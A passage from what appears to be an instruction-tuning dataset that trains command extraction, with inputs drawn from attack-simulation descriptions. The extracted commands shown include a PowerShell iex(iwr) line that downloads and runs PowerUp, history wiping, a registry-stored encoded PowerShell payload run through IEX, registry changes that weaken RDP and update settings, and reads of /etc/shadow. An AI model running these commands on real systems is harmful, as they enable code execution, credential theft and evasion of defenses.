[\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can erase the bash history by executing this command: echo \"\" > #{history_path}\n; You can erase the bash history by executing this command: cat /dev/null > #{history_path}\n",
    "output": "{\"command_list\": [\"echo \\\"\\\" > #{history_path}\\n\", \"cat /dev/null > #{history_path}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can find all files and folders on the system with the command:\nls -recurse\nget-childitem -recurse\ngci -recurse\n; For discovering files recursively and outputting their details, execute this multi-part command: ls -a >> #{output_file}\nif [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi;\nfile */* *>> #{output_file}\ncat #{output_file} 2>/dev/null\nfind . -type f\nls -R | grep \":$\" | sed -e 's/:$//' -e 's/[^-][^\\/]*\\//--/g' -e 's^/ /' -e 's/-/|/'\nlocate *\nwhich sh\n",
    "output": "{\"command_list\": [\"ls -recurse\\nget-childitem -recurse\\ngci -recurse\\n\", \"ls -a >> #{output_file}\\nif [ -d /Library/Preferences/ ]; then ls -la /Library/Preferences/ > #{output_file}; fi;\\nfile */* *>> #{output_file}\\ncat #{output_file} 2>/dev/null\\nfind . -type f\\nls -R | grep \\\":$\\\" | sed -e 's/:$//' -e 's/[^-][^\\\\/]*\\\\//--/g' -e 's/^/ /' -e 's/-/|/'\\nlocate *\\nwhich sh\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To verify and manipulate the HISTFILE variable without logging out, follow these steps: first, store the current value in a variable, then display it, set it to /dev/null, and finally confirm the change using the following command:\nTEST=$(echo $HISTFILE)\necho $HISTFILE\nexport HISTFILE=\"/dev/null\"\necho \"runnning some commands to populate the history\"\nwhoami\ngroups\nif [ $(echo $HISTFILE) == \"/dev/null\" ]; then echo \"\\$HISTFILE is /dev/null\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \"\\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT\";  fi; This test checks the current HISTFILE value, sets it to /dev/null, and confirms the change with the command:\necho $HISTFILE\nexport HISTFILE=\"/dev/null\"\nif [ $(echo $HISTFILE) == \"/dev/null\" ]; then echo \"\\$HISTFILE is /dev/null\"; fi",
    "output": "{\"command_list\": [\"TEST=$(echo $HISTFILE)\\necho $HISTFILE\\nexport HISTFILE=\\\"/dev/null\\\"\\necho \\\"runnning some commands to populate the history\\\"\\nwhoami\\ngroups\\nif [ $(echo $HISTFILE) == \\\"/dev/null\\\" ]; then echo \\\"\\\\$HISTFILE is /dev/null\\\"; else HIST_LENGHT=$(wc -l $HISTFILE); echo \\\"\\\\$HISTFILE is not /dev/null, history lenght is $HIST_LENGHT\\\";  fi\\n\", \"echo $HISTFILE\\nexport HISTFILE=\\\"/dev/null\\\"\\nif [ $(echo $HISTFILE) == \\\"/dev/null\\\" ]; then echo \\\"\\\\$HISTFILE is /dev/null\\\"; fi\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This method, employed by various malicious actors, encodes PowerShell commands and stores them in the registry before execution. The process can be initiated with this command:\n$OriginalCommand = '#{powershell_command}'\n$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)\n$EncodedCommand =[Convert]::ToBase64String($Bytes)\n$EncodedCommand\n\nSet-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand\npowershell.exe -Command \"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))\"; When you run this command, it will simulate the execution of a compressed file and launch calculator.exe: \"PathToAtomicsFolder\\..\\ExternalPayloads\\temp_T1027.zip\\T1027.exe\"\n",
    "output": "{\"command_list\": [\"$OriginalCommand = '#{powershell_command}'\\n$Bytes = [System.Text.Encoding]::Unicode.GetBytes($OriginalCommand)\\n$EncodedCommand =[Convert]::ToBase64String($Bytes)\\n$EncodedCommand\\n\\nSet-ItemProperty -Force -Path #{registry_key_storage} -Name #{registry_entry_storage} -Value $EncodedCommand\\npowershell.exe -Command \\\"IEX ([Text.Encoding]::UNICODE.GetString([Convert]::FromBase64String((gp #{registry_key_storage} #{registry_entry_storage}).#{registry_entry_storage})))\\\"\\n\", \"\\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\temp_T1027.zip\\\\T1027.exe\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To disable RDP security settings, as observed in DarkGate malware, use the following command: reg add \"HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows NT\\Terminal Services\" /v \"DisableSecuritySettings\" /t REG_DWORD /d 1 /f; Influence the behavior of error reporting dialogs by applying this registry modification with the command: reg add \"HKCU\\Software\\Microsoft\\Windows\\Windows Error Reporting\" /v DontShowUI /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKEY_LOCAL_MACHINE\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\Terminal Services\\\" /v \\\"DisableSecuritySettings\\\" /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\Windows Error Reporting\\\" /v DontShowUI /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The Windows Auto Reboot feature can be disabled for the current user session, a technique used by Redline for evasion, with the command: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"NoAutoRebootWithLoggedOnUsers\" /t REG_DWORD /d 1 /f; For defense evasion purposes, you can modify Windows Auto Update behavior to notify before download with the following registry modification: reg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU\" /v \"AUOptions\" /t REG_DWORD /d 2 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\" /v \\\"NoAutoRebootWithLoggedOnUsers\\\" /t REG_DWORD /d 1 /f\\n\", \"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\WindowsUpdate\\\\AU\\\" /v \\\"AUOptions\\\" /t REG_DWORD /d 2 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The /etc/shadow file is accessed in Linux via the command: sudo cat /etc/shadow > #{output_file}\ncat #{output_file}; In FreeBSD and Linux environments, the /etc/passwd file can be accessed and saved using the following command: cat /etc/passwd > #{output_file}\ncat #{output_file}\n",
    "output": "{\"command_list\": [\"sudo cat /etc/shadow > #{output_file}\\ncat #{output_file}\\n\", \"cat /etc/passwd > #{output_file}\\ncat #{output_file}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit 